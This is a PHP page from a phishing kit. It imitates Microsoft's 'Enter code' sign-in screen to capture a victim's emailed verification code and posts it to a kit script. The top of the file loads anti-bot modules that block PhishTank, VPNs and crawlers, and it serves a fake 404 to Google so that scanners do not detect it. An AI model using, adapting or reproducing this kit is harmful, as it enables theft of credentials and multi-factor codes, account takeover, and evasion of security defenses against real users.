<?php
error_reporting(0);
require_once('session_init.php');

include('session/function.php');

require ("antibots/AntiBotUserAgent.php");
require ("antibots/AntiBotIsp.php"); 
require ("antibots/AnitiBotHost.php");
require ("antibots/AntiBotPhishTank.php");
require ("antibots/AntiBotVpn.php");
require ("antibots/SaveBrowsing.php");
require ("antibots/DiscoveredBot.php");
require ("antibots/AntiBotThree.php");
require ("antibots/DisturbOne.php");
require ("antibots/DisturbTwo.php");
require("antibots/Anti/Bot-Crawler.php");
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { include($path."404.php"); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { include($path."404.php"); exit(); } 

if (isset($_SESSION['username']) && !empty($_SESSION['username'])) {
} 
else {
    header("Location: index.php?id=" . $random_id);
    exit();
}
?>
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>

<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                    <form method="post" action="session/mcode.php?id=<?php echo bin2hex(random_bytes(16)); ?>" novalidate="">

                        <!-- Email Code Verification Screen -->
                        <div id="emailCodeScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="">
                                    <div class="animate slide-in-next">
                                        <div>
                                            <div class="identityBanner">
                                                <button type="button" class="backButton" id="backBtn" onclick="window.location.replace('<?php echo isset($_SESSION['back_nav']) ? $_SESSION['back_nav'] : 'index.php'; ?>');">
                                                    <img role="presentation" src="https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg">
                                                </button>
                                                <div id="displayEmail" class="identity" title=""><?php echo $_SESSION['username']; ?></div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="pagination-view animate has-identity-banner slide-in-next">
                                        <div data-viewid="4" data-showidentitybanner="true">
                                            <div aria-hidden="true"></div>
                                            <div id="loginHeader" class="row title ext-title">
                                                <div role="heading">Enter code</div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div class="text-body">
                                                        <div>We sent a code to your linked email address. Check your inbox and enter the code below.</div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div role="alert">
                                                        <div id="codeError" class="error ext-error" style="display: <?php echo (isset($_SESSION['email_error']) && $_SESSION['email_error']) ? 'block' : 'none'; ?>;">That code didn't work. Please try again.</div>
                                                    </div>
                                                    <div class="placeholderContainer">
                                                        <input type="hidden" name="source" value="email">
                                                        <input name="codeInput" type="text" id="codeInput" maxlength="8" autocomplete="off" class="form-control input ext-input text-box ext-text-box" placeholder="Code" title="Code" tabindex="0" required>
                                                    </div>
                                                </div>
                                            </div>
                                            <div>
                                                <div>
                                                    <div class="row">
                                                        <div class="col-md-24">
                                                            <div class="text-13">
                                                                <div class="form-group">
                                                                    <a id="resendCode" role="link" href="#">Resend code</a>
                                                                </div>
                                                                <div class="form-group">
                                                                    <a id="tryAnotherWay" role="link" href="#">Sign in another way</a>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="win-button-pin-bottom">
                                                    <div class="row">
                                                        <div>
                                                            <div class="col-xs-24 no-padding-left-right button-container">
                                                                <div class="inline-block">
                                                                    <button type="submit" id="verifyBtn" class="win-button button_primary button ext-button primary ext-primary">Verify</button>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div></form>

                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>